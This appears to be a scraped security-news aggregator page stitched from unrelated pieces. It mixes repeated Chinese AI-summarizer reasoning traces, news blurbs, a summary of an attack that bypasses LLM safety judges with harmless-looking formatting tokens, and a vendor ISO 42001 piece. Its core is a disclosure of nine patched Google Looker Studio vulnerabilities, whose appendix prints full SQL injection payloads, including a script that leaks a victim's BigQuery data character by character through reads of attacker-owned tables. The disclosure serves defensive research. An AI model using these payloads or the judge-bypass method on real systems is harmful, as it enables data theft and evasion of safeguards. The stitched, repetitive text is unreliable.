Aggregator

嗯，用户让我帮忙总结一篇文章，控制在100字以内，而且不需要特定的开头。首先，我得理解文章内容。看起来文章提到“环境异常”，需要完成验证才能继续访问，还提供了“去验证”的选项。所以，核心信息是环境异常，需要验证才能继续访问。 接下来，我得考虑用户的使用场景。可能是在遇到系统错误时需要快速了解情况，或者用于内部沟通。用户的身份可能是普通用户或技术支持人员。他们的需求是简洁明了地传达问题和解决方法。 深层需求可能是希望快速解决问题，避免过多的技术术语或复杂的描述。因此，总结时要简明扼要，突出关键点：环境异常、验证步骤、继续访问。 最后，确保语言流畅自然，不使用任何格式化符号或复杂结构。这样用户就能迅速抓住重点。 当前环境出现异常问题，需完成验证后方可继续访问。

嗯，用户让我帮忙总结一篇文章，控制在一百个字以内，而且不需要特定的开头。首先，我需要理解用户的需求。他们可能是在浏览某个网站时遇到了环境异常的问题，系统提示需要完成验证才能继续访问。 接下来，我要分析文章的内容。看起来文章主要讲的是当前环境出现了异常情况，用户需要进行验证才能继续使用服务。这可能涉及到安全措施或者系统维护方面的问题。 然后，我得考虑如何用简洁的语言概括这一点。要确保在一百个字以内，同时传达出关键信息：环境异常、验证、继续访问。这样用户就能快速明白发生了什么以及需要做什么。 最后，检查一下是否符合用户的要求，没有使用“文章内容总结”这样的开头，并且语言简洁明了。 当前环境出现异常，需完成验证后才能继续访问。

嗯，用户发来一个请求，让我帮忙总结一篇文章的内容，控制在100字以内，而且不需要用“文章内容总结”或者“这篇文章”这样的开头，直接写描述。首先，我需要理解用户的需求。看起来用户可能是在阅读某个文章或者网页，遇到了环境异常的问题，需要快速了解内容。 然后，我看看用户提供的原文。原文提到“环境异常”，完成验证后可以继续访问，并有一个“去验证”的链接。这可能是一个常见的安全措施，比如CAPTCHA验证。所以文章内容应该是在提示用户当前环境有问题，需要完成验证才能继续访问。 接下来，我要总结这个内容。控制在100字以内的话，需要简洁明了。直接说明环境异常，并且需要完成验证才能继续访问。不需要复杂的结构或者开头词。 可能的总结是：“当前环境异常，请完成验证后继续访问。” 这样既符合字数限制，又直接传达了信息。 另外，考虑到用户的使用场景可能是在处理登录、访问某个网站时遇到问题，他们可能希望快速了解情况并采取行动。因此，总结要清晰、直接，让用户一目了然。 最后检查一下是否符合要求：100字以内，没有使用特定的开头词。确认无误后就可以回复了。 当前环境异常，请完成验证后继续访问。

好的，我现在需要帮用户总结一篇文章的内容，控制在100个字以内。首先，我得仔细阅读用户提供的文章内容，了解其主要信息。 这篇文章主要讲的是BeatBanker这个安卓恶意软件，它针对巴西用户，通过伪装成Google Play商店的钓鱼网站传播。恶意软件包含挖矿程序和银行木马，能够完全接管设备并伪造屏幕。最近的版本还替换了银行模块，改用BTMOB远程控制工具。为了长期驻留，它会循环播放几乎听不见的音频文件。 接下来，我需要将这些关键点浓缩到100字以内。要注意包括传播方式、功能、最新变化以及持久化机制。同时，避免使用“文章内容总结”之类的开头词。 可能的结构是：BeatBanker是安卓恶意软件，针对巴西用户，通过伪装Google Play商店传播。包含挖矿程序和银行木马，能接管设备并伪造屏幕。最新版本使用BTMOB远程控制工具。通过循环播放音频保持活跃。 现在检查字数是否在限制内，并确保信息准确无误。 BeatBanker是一种针对巴西用户的安卓恶意软件，通过伪装成Google Play商店的钓鱼网站传播。它包含挖矿程序和银行木马功能，能够接管设备并伪造屏幕界面。最新版本改用BTMOB远程控制工具，并通过循环播放音频文件保持长期活跃。

嗯，用户让我帮忙总结一篇文章的内容，控制在100字以内，而且不需要用“文章内容总结”这样的开头。首先，我需要仔细阅读用户提供的文章内容，理解其主要观点和关键信息。 这篇文章主要讨论了AI裁判系统（即大型语言模型作为安全守门人）存在的安全漏洞。研究者开发了一个名为AdvJudge-Zero的自动化模糊测试工具，用于检测这些系统中的逻辑漏洞。通过注入看似无害的格式符号或结构标记，攻击者可以绕过安全控制，导致有害内容被批准或训练数据被篡改。 接下来，我需要将这些信息浓缩到100字以内。要抓住几个关键点：AI裁判系统的漏洞、AdvJudge-Zero工具的作用、攻击手段（使用无害格式符号）、可能的影响（如有害内容通过或模型降级）以及解决方案（对抗训练）。 最后，确保语言简洁明了，不使用复杂的术语，让读者一目了然。 文章探讨了大型语言模型（LLMs）作为AI裁判系统在安全防护中的漏洞。研究发现，通过注入看似无害的格式符号或结构标记，攻击者可绕过安全控制，使有害内容获准通过或导致模型训练数据被篡改。研究工具AdvJudge-Zero揭示了这些逻辑漏洞，并证明即使是最先进的模型也易受此类攻击影响。对抗训练可有效减少此类攻击的成功率。

嗯，用户让我帮忙总结一下这篇文章的内容，控制在一百个字以内。首先，我需要仔细阅读用户提供的文章内容。看起来这篇文章是关于科幻小说的，标题是“New Story”，发布在“Astounding Stories”上，时间是2026年3月10日。 文章里提到了一些关键词，比如“Dare to dream”和“Dare to go where no other has gone before”，这让我想到这可能是一个鼓励探索和冒险的故事。另外，文章还提到了一些相关的标签，比如#science-fiction和#project-gutenberg，说明这可能是一个经典的科幻小说。 接下来，我需要确定文章的主要内容。虽然没有具体的故事情节，但根据标题和发布平台，可以推测这是一篇科幻小说的开头或简介。用户希望总结控制在100字以内，并且不需要特定的开头，所以我要简洁明了地表达出文章的主题和风格。 考虑到用户的需求是总结内容，而不是逐句翻译，我应该抓住关键点：科幻元素、探索未知、冒险精神。同时，注意语言要流畅自然，符合中文表达习惯。 最后，整合这些信息，形成一个简短而有力的总结。确保不超过100字，并且直接描述文章内容。 这篇文章讲述了一个科幻故事的开端,鼓励读者敢于做梦并探索未知领域,展现了科幻文学的独特魅力与冒险精神。

Prolific ShinyHunters group claims to have stolen data from nearly 400 websites in Experience Cloud attacks

The State Department frames data sovereignty and innovation as opposing forces. Modern encryption proves we can have both.

The post No, it’s not ‘unnecessarily burdensome’ to control your own data appeared first on CyberScoop.

The Russian state-sponsored APT28 threat group is using a custom variant of the open-source Covenant post-exploitation framework for long-term espionage operations. [...]

Tenable Research revealed "LeakyLooker," a set of nine novel cross-tenant vulnerabilities in Google Looker Studio. These flaws could have let attackers exfiltrate or modify data across Google services like BigQuery and Google Sheets. Google has since remediated all identified issues.

Key takeaways

• Nine novel vulnerabilities: The vulnerabilities allowed attackers to run arbitrary SQL queries on victims’ databases and exfiltrate sensitive data with 0-click and 1-click attacks.

1. Cross Tenant Unauthorized Access - Zero-Click SQL Injection on Database Connectors - TRA-2025-28
2. Cross Tenant Unauthorized Access - Zero-Click SQL Injection Through Stored Credentials - TRA-2025-29
3. Cross Tenant SQL Injection on BigQuery Through Native Functions - TRA-2025-27
4. Cross Tenant Data Sources Leak With Hyperlinks - TRA-2025-40
5. Cross Tenant SQL injection on Spanner and BigQuery Through Custom Queries on a Victim’s Data Source - TRA-2025-38
6. Cross Tenant SQL Injection on BigQuery and Spanner Through the Linking API - TRA-2025-37
7. Cross Tenant Data Sources Leak With Image Rendering - TRA-2025-30
8. Cross Tenant XS Leak on Arbitrary Data Sources With Frame Counting and Timing Oracles - TRA-2025-31
9. Cross Tenant Denial of Wallet Through BigQuery - TRA-2025-41

• Cross-tenant data exposure: Attackers could gain access to entire datasets and projects across different cloud "tenants" (different companies).
• Patched: Google has patched the vulnerabilities following a responsible disclosure by Tenable.

We discovered and disclosed nine novel cross-tenant vulnerabilities in Google Looker Studio (formerly Data Studio). Dubbed "LeakyLooker", the vulnerabilities broke fundamental design assumptions, revealed a new attack class, and could have allowed attackers to exfiltrate, insert, and delete data in victims’ services and Google Cloud environment.

These vulnerabilities exposed sensitive data across Google Cloud Platform (GCP) environments, potentially affecting any organization using Google Sheets, BigQuery, Spanner, PostgreSQL, MySQL, Cloud Storage, and almost any other Looker Studio data connector. All issues have been remediated by Google following Tenable’s reports.

We will demonstrate how Looker Studio’s deep integration with these GCP services along with other platforms created a huge attack surface and novel vulnerabilities.

The vulnerabilities demonstrate a new attack surface that can be abused by attackers in cloud environments and vendors should be aware of.

We often see business intelligence (BI) platforms as polished mirrors reflecting an organization’s data in beautiful, actionable charts. 

However, our latest research into the internals of Looker Studio led to the discovery of the "LeakyLooker" vulnerabilities, which broke the fundamental promise of a BI platform: that a "viewer" should never be able to control, modify nor exfiltrate the data they are viewing.

What is Looker Studio?

Looker Studio is a cloud-based BI and data visualization platform that allows users to turn raw data into interactive, shareable reports. By connecting to various sources, such as Google Analytics, BigQuery, or SQL databases, it enables teams to build reports that update in real-time, making complex datasets easy to interpret through charts and tables. Because it is built on the Google Cloud infrastructure, it relies heavily on a permission-sharing model similar to Google Docs, where reports can be viewed or edited based on specific user credentials or public links.
 

An example of a Looker Studio report 

 

Looker Studio’s interesting service architectureOwner vs. viewer credentials

To understand why these vulnerabilities are so critical, we first have to look at how Looker Studio handles "trust." When you connect a database to a report, you have to decide whose identity the report should use to access the connected data source. For example: Who is querying the attached database?

Looker Studio offers two credential models:

1. Owner credentials

The report uses the owner’s permissions to fetch data, regardless of who is looking at it.

It allows you to share a report with people who don't have direct access to your data source, such as sharing a sales report with a client who doesn't have access to your sales database.

In this flow, the data is fetched via the owner's authentication token.

2. Viewer credentials

The report uses the Viewer’s own permissions to fetch data.

It’s the most secure way to ensure people only see what they are allowed to see. If a Viewer doesn't have access to the underlying database, the report’s data source will show an error when trying to load.

Each viewer must provide their own authentication token to see the data.

Breaking the trust

The core of this research was the realization that these two paths create two very different "trust boundaries" that can be attacked independently. The goal was to break the platform by isolating these mechanisms:

• Targeting viewer credentials (The 1-click path): We looked for ways to manipulate a report so that it forces a viewer to unknowingly execute a query or manipulate data they do have permission for, and optionally send the results to the attacker. Because this requires the victim to interact with a malicious link, it's classified as a 1-click attack. It exploits the victim's own access level.
• Targeting owner credentials (The 0-click path): This is where the real "architectural flaw" lies. We realized that if we could talk directly to the backend of a report set to owner credentials, we could act as the report’s owner. By sending a crafted request to a public report or a shared report, the attacker triggers the Looker Studio service to fetch or manipulate data using the owner’s identity. Because this happens entirely on the server side without needing a victim to click anything, it becomes a 0-click exploit that can, as an example, drain entire datasets.

From a security researcher's perspective, the breakthrough lies in decoupling the platform's two primary authentication mechanisms to expose two distinct, high-impact attack paths. This is done by isolating how the Looker Studio handles Viewer versus Owner credentials.

Looker Studio connectors

Looker Studio acts as the visualization layer for vast amounts of enterprise data. To function, it uses "connectors" to bridge the gap between the report and the underlying data source (like BigQuery or Cloud SQL).

The "live data" trap

Looker Studio’s greatest feature, and its architectural Achilles' heel is live data.

Unlike static reports, Looker Studio reports are designed to be dynamic. As an example, when a sale is completed and the transaction is reflected in the underlying database, the chart should update the moment a user refreshes their browser. To achieve this magic, Looker Studio acts as a live proxy.

As an example on a BigQuery data source: When a user opens a report, their browser sends a request to Looker Studio, which then translates that request into a SQL query and sends it to the backend database in real-time.

Breaking the owner’s credentials with 0-click vulnerabilitiesVulnerability #1: The Alias Injection (Cross-tenant unauthorized access - 0-click SQL injection on database connectors)

We ran our proof of concept (POC) on a BigQuery connector, but this vulnerability also affects other database connectors such as Spanner.

Our investigation began by observing the network traffic during a report load. We saw a specific HTTP request called batchedDataV2.

As we poked at the JSON body of this request, we noticed something suspicious: Looker Studio generates unique aliases for every column, such as qt_1spiqerwsd.

This is the pitfall. The backend was taking these user-controlled strings and concatenating them directly into a live SQL statement that is actually a BigQuery job: SELECT column AS [USER_CONTROLLED_ALIAS] FROM table...

We realized that if we could "break out" of the alias string, we could hijack the entire query. However, Google had built some mitigations against these attempts. If we tried to use a dot (.) to reach another Big Query project (victimsproject.dataset.table), the system swapped it for an underscore (_). If we used a space, it was stripped.

We bypassed these by abusing some SQL quirks:

• The "no spaces" problem: We bypassed this using SQL comments /**/. The SQL engine treats comments as whitespace, and the "space-stripping" filter ignores them.
• The "no dots" problem: We used BigQuery’s own SQL-scripting capabilities. By using CHR(46) (the ASCII code for a dot) and CONCAT(), we built the project paths in execution after the filter had already looked at our input.

The payload: 0-click execution:
 

The payload can be viewed in the Appendix.

Our injection point starts from the string “hey”. We could now run arbitrary SQL queries across the owner's entire GCP project, all triggered by a victim simply having a public Looker Studio report with a vulnerable database data source or by sharing it with the attacker beforehand.

The injection looks like the following in the resulting BigQuery job. We highlighted it for the readers' convenience:
 

Attackers could search for public Looker Studio reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

A POC of a full data exfiltration method is demonstrated in Vulnerability #3 in this blog.

Vulnerability #2: The Sticky Credential (Cross-tenant unauthorized access - 0-click SQL injection through stored credentials)

The second discovery was a fundamental logic flaw in how Looker Studio handles its "Copy Report" feature.
 

The "what if" question

We asked: “What happens when a viewer, who should have zero access to tamper with the report’s data source or credentials, clones a report that uses the owner’s credentials mode on its data sources?”

To use a JDBC-based data source, such as PostgreSQL or MySQL, a user inputs credentials to the data source to attach it to their report. For example: database URL, username, and password.

When you copy a report, the attached data source is cloned and created in the new copy:
 

Remarkably, we found that for these kinds of JDBC data sources, the cloned data source kept its credentials when being copied to the new report. The issue here is that when copying a report, the user who copied it is now the owner of the new report copy, and while being an owner of a report, the user can access features they could not as a viewer. One of these features is managing the report’s data source:
 

And running custom queries against it! We ran a table creation query for a POC:
 

The payload can be viewed in the Appendix.

Alarmingly, there is no need to re-authenticate with the database credentials we do not know as attackers, since the backend kept the credentials from the victim’s original report. It is surprising to note that despite the fact that the console yielded this error message …
 

… the custom query ran behind the scenes, and we just added a new table to the victim’s DB, all from simply viewing a public Looker Studio report:
 

 

1. A victim creates a report as public or shares it with a specific recipient, and uses a JDBC connected data source such as PostgreSQL. The database password is safely hidden.
2. The attacker clicks "Make a Copy."
3. In a secure architecture, the credentials should stay with the original report. But the logic copied the credentials along with the report.
4. Because the attacker now "owns" the created report’s copy, they gain access to the Custom Query feature. They can now write arbitrary CRUD queries such as DELETE * FROM secret_table and Looker Studio will happily execute them using the original victim's saved credentials.

Attackers could search for public reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

Breaking a viewer’s credentials with 1-click vulnerabilitiesVulnerability #3: Cross-tenant SQL injection on BigQuery through native functions

Once we identified that a viewer’s credentials could be exploited as a 1-click path, this became clear: If we could force the victim's browser to execute our code under their own identity, the platform’s security model would essentially work for us, not against us.

The attack's hidden setup: Manipulating the connection

Normally, the UI only lets us connect reports to data sources we have permission to access, like BigQuery tables. However, the requests behind the scenes would look something like: "Connect my_project.my_dataset.my_table." 
What if we modify these requests?

We used a web proxy tool to intercept these. We then modified the HTTP requests (specifically, createBlockDatasource and publishDatasource) to replace our project's details, with those of a cross tenant victim (our own victim mock up project):
 

Even though we could not see the victim's actual data at this stage, we had now created a report that, in its configuration, believed it was connected to the victim's BigQuery table, all while using a viewer's credentials.
 

 

The next step: Native functions and dimensions

Now that our report was stealthily connected to the victim’s data, we needed a way to execute our own commands. This brought us to another powerful, but often overlooked, Looker Studio feature: Native Functions.

A dimension in Looker Studio is like a category or a field in your data (e.g., "customer name," "product ID"). Report editors can perform calculations on these fields to display specific data to a report viewer. Sometimes, you need to perform complex calculations on these dimensions that Looker Studio’s built-in functions can’t handle. That's where NATIVE_DIMENSION comes in. It allows you to write raw SQL directly into a field, and Looker Studio will run that SQL against your database, to give the report viewer the desired result. That SQL will run in a BigQuery job… 

This was it. NATIVE_DIMENSION lets us execute custom SQL and runs on a report load (live data). So we can create a data source that belongs to the victim, add a dimension with our malicious SQL, and share the report with the victim. Since the data source is set to the viewer's credentials, the victim will execute our malicious SQL while viewing and loading the shared report and data source, without even noticing.
 

But there was a catch: Google tries to block dangerous SQL. If we just typed SELECT * FROM victims_table, Looker Studio would respond with an "SQL queries are not allowed" error.

Google’s protection mechanism checked for specific keywords like SELECT and FROM. This hinted that the protection might be a simple text-based filter.

SQL comments to the rescue

This is where a classic SQL injection technique proved effective. In SQL, anything between /**/ (a multi-line comment), is not treated by SQL.

Our thought process: What if we tricked the filter by putting an empty comment between the forbidden words? We tried injecting SEL/**/ECT and FR/**/OM. To our surprise, the validation system accepted it. The filter did not catch a raw “SELECT” nor “FROM” and thought it was safe. The underlying BigQuery engine simply ignored the comment and executed the SELECT or FROM command.

Building the super-payload: Multi-statement SQL injection

A single SELECT statement is useful, but we wanted to steal all the data. This required more complex logic: iterating through tables, finding column names, and then extracting every single row. BigQuery had some limitations for a fully-working one-liner injection.

Our thought process: BigQuery, like many SQL databases, supports multi-statement scripts. You can write several SQL commands separated by semicolons and wrap them in a BEGIN...END block. This allows for complex programming logic directly within the SQL.

We realized we could craft an entire program inside that NATIVE_DIMENSION field. This program would:

1. Declare variables: For example, we could set up temporary storage to hold names of columns or rows as we discovered them.
2. Query the victim's schema: We used BigQuery's INFORMATION_SCHEMA.COLUMNS (a special table that describes the structure of a database) to dynamically find all the table and column names the victim had access to. We didn't need to know them beforehand.
3. Loop through everything: We built WHILE loops to systematically go through each column, and then each row within that column.
4. We commented out the last piece of SQL added by default by Looker Studio with “--”.

Blind exfiltration with cross-tenant logs

Now, how do we get the stolen data out? We couldn't just INSERT data into our own tables; that would require specific permissions (OAuth scopes) that the victim might not have granted.

We devised a trick using cross-tenant log analysis:

1. Attacker setup: In our own project, we created a series of empty BigQuery tables and made them publicly accessible to allow cross-tenant queries. We named them: exfil-a, exfil-b, exfil-c, exfil-1, exfil-2, and so on, for every character and number.
2. The "ping" mechanism: Inside our injected SQL, when we discovered a character from the victim's data (e.g., the letter 'L' from a column named "Liv"), we would execute a SELECT statement that looked like this: SELECT * FROM attacker_project.exfil-l.
3. Log analysis: The victim's Big Query job, running our injected script, would try to read from our exfil-l table. This read operation wouldn't return any data since our tables were empty, but it would generate a log entry on our Google Cloud project. By monitoring these logs and piecing together the sequence of table accesses, we could reconstruct the victim's data.

The payload can be viewed in the Appendix.

The attack in action: A 1-click data exfiltration

Combining all these pieces, we could create a malicious Looker Studio report. We could share it with a victim (even unchecking the "Notify" box for stealth) or embed it on a website.

The moment the victim opens the report (or visits our malicious website), their browser:

1. Connects to our report.
2. Uses their credentials to access the data source (which we've secretly configured to point to their BigQuery).
3. Executes our NATIVE_DIMENSION calculated field to display and load the victim’s data source we attached.
4. Our injected multi-statement script runs, systematically extracting all their BigQuery table and column names in their GCP project, then all the data.
5. Each extracted character triggers a "ping" to one of our public exfil tables.
6. We monitor our own GCP logs, and reconstruct the victim's entire database, all without them ever seeing a warning or granting explicit permission.
    

 

Conclusion and guidance

BI tools are often treated as read-only platforms trusted to visualize data, while keeping it safe from compromises. The surprising reality: One of the world’s most widely deployed BI platforms could have become a stealthy entry point into the heart of your cloud infrastructure or services data.

This research began with a simple question:

Can Looker Studio be used for more than just looking? The answer turned out to be far worse than expected.

Google has patched these issues globally. Since all instances of Looker Studio are managed by Google, no action is required by customers.

To limit exposure to these kinds of attacks, always audit who has "View" access to your reports whether they are public or private, treat BI connectors as a critical part of your attack surface, and do not allow the service to access a connector you do not use anymore. 

To limit access to Looker Studio connectors, you should follow the following guide:
 

In that specific example, Looker Studio has access to a lot of services, such as Google SQL, BigQuery, Cloud Storage, Analytics and Drive.

We would like to thank the Google Cloud Vulnerability Reward Program (VRP) team for their professional response and rapid mitigation of these issues.

Learn more about Tenable Cloud Security

Appendix: Payloads

Vulnerability 1:
 

injection_starts_here/**/FROM/**/UNNEST([STRUCT('a'/**/AS/**/clmn0_)])/**/GROUP/**/BY/**/1; BEGIN/**/DECLARE/**/dot/**/STRING;DECLARE/**/table_name2/**/STRING;DECLARE/**/sql_query1/**/ STRING;DECLARE/**/sql_query2/**/STRING;DECLARE/**/sql_query3/**/STRING; SET/**/dot/**/=/**/CHR(46);SET/**/table_name2/**/=/**/CONCAT ('lmatan-project',/**/dot,/**/'mydataset',/**/dot,/**/'exfila'); SET/**/sql_query2/**/=/**/CONCAT('SELECT/**/*/**/FROM/**/`',/**/table_name2,/**/'`'); EXECUTE/**/IMMEDIATE/**/sql_query2;END;SELECT/**/NULL/**/AS/**/t0_qt_1spiqerwsd

Vulnerability 2:

CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(50) NOT NULL, email VARCHAR(100) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP );

 

Vulnerability 3:

NATIVE_DIMENSION("JSON_VALUE(name, '$.agea') AS clmn10_, (/**/SELECT AS STRUCT name /**/ FROM placeholderproject.placeholderdataset.placeholdertable LIMIT 1) AS clmn0_, t0.name AS clmn1_, NULL AS clmn2_, NULL AS clmn3_ /**/FROM placeholderproject.placeholderdataset.placeholdertable AS t0) GROUP BY clmn0_, clmn1_, clmn2_, clmn3_ ORDER BY 2 DESC;BEGIN DECLARE col_names ARRAY<STRING>; DECLARE col_index INT64 DEFAULT 1; DECLARE col_name STRING; DECLARE char_index INT64; DECLARE char STRING; DECLARE dyn_sql STRING; DECLARE row_array ARRAY<STRING>; DECLARE row_idx INT64; DECLARE row_val STRING; DECLARE row_char_index INT64; DECLARE row_char STRING; SET col_names = (/**/SELECT ARRAY_AGG(column_name) /**/FROM placeholderproject.placeholderdataset.INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'placeholdertable' AND data_type = 'STRING'); WHILE col_index <= ARRAY_LENGTH(col_names) DO SET col_name = col_names[ORDINAL(col_index)]; SET char_index = 1; WHILE char_index <= LENGTH(col_name) DO SET char = LOWER(SUBSTR(col_name, char_index, 1)); IF REGEXP_CONTAINS(char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position, '%s' AS source_column /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", char, char, char_index, col_name, char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for column name char '%s' (pos %d) of column '%s'\", char, char, char_index, col_name) AS error_message; END; END IF; SET char_index = char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET dyn_sql = FORMAT(\"\"\" /**/SELECT ARRAY_AGG(CAST(%s AS STRING)) /**/FROM placeholderproject.placeholderdataset.placeholdertable WHERE %s IS NOT NULL \"\"\", col_name, col_name); EXECUTE IMMEDIATE dyn_sql INTO row_array; SET row_idx = 1; WHILE row_idx <= ARRAY_LENGTH(row_array) DO SET row_val = row_array[ORDINAL(row_idx)]; SET row_char_index = 1; WHILE row_char_index <= LENGTH(row_val) DO SET row_char = LOWER(SUBSTR(row_val, row_char_index, 1)); IF REGEXP_CONTAINS(row_char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position_in_value, '%s' AS column_name, '%s' AS full_value /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", row_char, row_char, row_char_index, col_name, row_val, row_char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for row value char '%s' (pos %d) of column '%s'\", row_char, row_char, row_char_index, col_name) AS error_message; END; END IF; SET row_char_index = row_char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET row_idx = row_idx + 1; END WHILE; SET col_index = col_index + 1; END WHILE; END; /**/SELECT COUNT(1) AS t0_qt_m7hbtdzlsd, clmn0_ AS t0_qt_pwfmdd4lsd, clmn1_ /**/FROM ( /**/SELECT (/**/SELECT AS STRUCT 1 AS a) AS clmn0_, t0.name AS clmn1_ /**/FROM `placeholderproject.placeholderdataset.placeholdertable` AS t0 --","INT64")

 

一线0day大佬亲授，3大框架漏洞挖掘实战课，满10人开班

假冒CleanMyMac网站诱导用户运行终端命令，植入窃密木马。

看雪论坛作者ID：执着的猫

嗯，用户发来了一个请求，让我帮忙总结一篇文章的内容，控制在一百个字以内。而且不需要用“文章内容总结”或者“这篇文章”这样的开头，直接写描述就行。看起来用户可能是在使用某个系统或者网站的时候遇到了环境异常的问题，需要进行验证才能继续访问。 首先，我需要分析用户的实际需求。他们可能是在遇到问题后，想要快速了解问题的解决方法。所以，总结的内容要简洁明了，直接说明问题和解决步骤。 接下来，考虑用户的身份。可能是一个普通用户，在使用某个服务时遇到了技术问题。他们可能不太熟悉技术术语，所以总结的时候要用简单易懂的语言。 然后，思考用户的深层需求。他们可能不仅想知道发生了什么问题，还想尽快解决它，继续使用服务。因此，在总结中不仅要描述问题，还要提到解决的方法——完成验证后即可继续访问。 最后，确保总结控制在一百个字以内，并且直接描述内容，不使用任何开头的模板语句。这样用户可以一目了然地看到问题和解决方案。 当前环境异常需完成验证后方可继续访问。

好的，我现在需要帮用户总结一篇文章的内容，控制在100字以内。用户的要求是直接写文章描述，不需要开头的总结语。首先，我得仔细阅读文章内容，抓住主要信息。 文章标题是“环境异常”，内容提到当前环境出现异常，完成验证后可以继续访问，并有一个“去验证”的链接。看起来这是一个提示用户需要进行验证才能继续访问的通知。 接下来，我需要将这些信息浓缩成一句话。要确保包含环境异常、验证完成和继续访问这几个关键点。同时，语言要简洁明了，不超过100字。 可能的表达方式是：“当前环境出现异常，需完成验证后方可继续访问。”这样既涵盖了主要信息，又符合字数要求。 最后，检查一下是否符合用户的所有要求：中文、100字以内、直接描述内容、没有多余的开头语。确认无误后就可以给出这个总结了。 当前环境出现异常，需完成验证后方可继续访问。

嗯，用户让我帮忙总结一下这篇文章的内容，控制在一百个字以内，而且不需要用“文章内容总结”之类的开头，直接写描述。好的，我先仔细看看文章。 文章主要讲的是MIND公司作为第一家数据安全公司，通过ISO 42001标准认证，这个标准是关于AI管理系统的第一国际标准。MIND的AI工具在数据分类、风险评估等方面发挥作用，并且通过第三方评估确保合规。 接下来，我需要把重点提炼出来：MIND是第一家获得ISO 42001认证的数据安全公司，这个标准确保AI的开发和部署符合全球规范。他们通过第三方评估了38个控制点，涉及数据治理、模型开发等多个方面。这对数据安全来说非常重要，因为处理敏感信息需要更高的标准。 然后，我需要把这些信息浓缩到100字以内。要确保涵盖MIND的成就、ISO标准的意义以及对数据安全的影响。 可能的结构：MIND成为首家获得ISO 42001认证的数据安全公司，该标准确保AI合规和责任治理。通过第三方评估38个控制点，涵盖数据治理、模型开发等。这为数据安全提供了更高的保障。 检查一下字数是否合适，大约在90字左右。这样应该能满足用户的要求。 MIND成为首家通过ISO 42001认证的数据安全公司,该国际标准确保AI系统合规与责任治理。其AI工具通过独立第三方评估38项控制点,涵盖数据治理、模型开发等,为敏感数据提供更高保障。

好的，我现在需要帮用户总结一篇文章的内容，控制在100字以内，并且不需要特定的开头。首先，我得仔细阅读用户提供的文章内容。文章标题是“环境异常”，里面提到当前环境异常，完成验证后可以继续访问，并有一个“去验证”的按钮。 接下来，我要分析用户的需求。用户可能希望快速了解文章的主要内容，而不需要逐字阅读。他们可能是在寻找简洁的信息，用于快速决策或分享。因此，总结需要准确、简洁，并且抓住关键点。 然后，我需要确定文章的核心信息。核心信息包括环境异常、验证的必要性以及验证后的结果。因此，总结应该涵盖这些点：环境异常导致访问受限，完成验证后可以继续访问。 现在，我需要将这些信息浓缩到100字以内，并且用自然流畅的中文表达。避免使用复杂的句子结构或专业术语，确保所有人都能理解。 最后，检查字数是否符合要求，并确保没有遗漏关键信息。这样就能提供一个既准确又简洁的总结，满足用户的需求。 当前环境出现异常问题,需完成验证后才能继续访问系统,请尽快进行验证操作以恢复正常使用权限。

嗯，用户让我帮忙总结一下这篇文章的内容，控制在一百个字以内，而且不需要用“文章内容总结”之类的开头。首先，我需要仔细阅读这篇文章，理解它的主要信息。 文章讲的是Tenable Research发现了Google Looker Studio中的九个新的跨租户漏洞，这些漏洞被命名为“LeakyLooker”。这些漏洞可以让攻击者窃取或修改Google服务中的数据，比如BigQuery和Google Sheets。攻击者可以利用0点击或1点击攻击来执行任意SQL查询，从而获取敏感数据。此外，这些漏洞还可能导致跨租户的数据泄露，影响多个公司的数据安全。 接下来，Google已经修复了所有被发现的问题。文章还详细描述了这些漏洞的工作原理，比如如何利用Looker Studio的连接器和权限模型来进行攻击。最后，作者建议用户审计报告的访问权限，并限制不必要的连接器访问。 总结起来，我需要在100字以内涵盖这些关键点：九个新漏洞、跨租户攻击、数据窃取和修改、Google修复问题。 Tenable Research发现Google Looker Studio存在九个新的跨租户漏洞（"LeakyLooker"），允许攻击者通过0点击或1点击攻击窃取或篡改敏感数据。这些漏洞影响BigQuery、Google Sheets等服务，并可能导致跨租户数据泄露。Google已修复所有问题。

AI is embedded in security tools across the enterprise. MIND is the first data security company to answer how their AI is governed, audited and held accountable.

The AI tools built into your security stack are making decisions at a scale no human team can match. They're classifying data, scoring risk, triggering enforcement and shaping your program's posture without a line of policy being manually written. That's the promise of AI-powered security. But it also raises a question most vendors haven't been willing to answer: how do you know the AI doing that work is governed responsibly?

ISO 42001 is the answer the industry has been building toward. Published by the International Organization for Standardization in December 2023, it's the world's first international standard for AI management systems. It doesn't certify a product. It certifies that an organization's approach to developing and deploying AI, including the policies, controls, risk assessments and oversight mechanisms in place, meets a globally recognized standard.

{children}

What ISO 42001 actually requires

This isn't a checkbox audit. Certification under ISO 42001 requires an independent third-party assessment across 38 distinct controls organized into nine areas: data governance, model development, operations, security, ethics, accountability, transparency, incident response and continuous improvement. Every AI system MIND deploys has been evaluated for how it handles data quality and lineage, how it approaches adversarial testing, how it responds to incidents and how it maintains transparency with the organizations that rely on it.

